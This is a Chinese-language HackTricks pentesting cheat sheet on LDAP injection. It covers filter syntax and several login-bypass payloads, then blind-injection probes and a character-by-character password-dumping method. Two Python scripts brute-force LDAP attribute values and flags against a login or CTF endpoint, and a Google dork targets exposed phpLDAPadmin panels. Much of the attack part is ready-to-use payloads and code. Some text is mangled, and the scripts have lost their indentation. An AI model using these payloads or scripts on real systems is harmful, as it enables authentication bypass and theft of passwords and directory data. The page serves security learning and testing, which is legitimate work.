hacktricks/pentesting-web/ldap-injection.md

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LDAP注入

LDAP注入

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LDAP注入

LDAP

如果您想了解什么是LDAP请访问以下页面

{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}

LDAP注入是一种针对从用户输入构建LDAP语句的Web应用程序的攻击。当应用程序未能正确清理输入时,攻击者可以通过本地代理操纵LDAP语句,可能导致未经授权的访问或数据操纵。

{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}

过滤器 = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = 绝对TRUE
(|) = 绝对FALSE

例如:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))

您可以访问数据库,其中可能包含各种不同类型的信息。

OpenLDAP如果有2个过滤器到达只执行第一个。
ADAM或Microsoft LDS有2个过滤器时会抛出错误。
SunOne Directory Server 5.0:执行两个过滤器。

非常重要的是发送具有正确语法的过滤器否则将抛出错误。最好只发送1个过滤器。

过滤器必须以&|开头
示例:(&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void

然后:(&(objectClass=***)(ObjectClass=*))**将是第一个过滤器(执行的过滤器)。

登录绕过

LDAP支持多种格式存储密码明文、md5、smd5、sh1、sha、crypt。因此无论您在密码中插入什么它都可能被哈希处理。

user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

列表

盲 LDAP 注入

您可以强制返回 False 或 True 响应,以检查是否返回任何数据,并确认可能存在盲 LDAP 注入:

#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

转储数据

您可以迭代ASCII字母、数字和符号

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

脚本

发现有效的LDAP字段

LDAP对象默认包含多个属性,可用于保存信息。您可以尝试暴力破解所有这些属性以提取信息。您可以在此处找到默认LDAP属性列表

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()

特殊盲LDAP注入无"*"

#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break

谷歌黑客搜索语法

intitle:"phpLDAPadmin" inurl:cmd.php

更多有效载荷

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}

如果您对黑客职业感兴趣并想要黑入不可黑入的系统 - 我们正在招聘!(需要流利的波兰语书面和口头表达能力)。

{% embed url="https://www.stmcyber.com/careers" %}

从零开始学习 AWS 黑客技术,成为专家 htARTEHackTricks AWS 红队专家)

支持 HackTricks 的其他方式: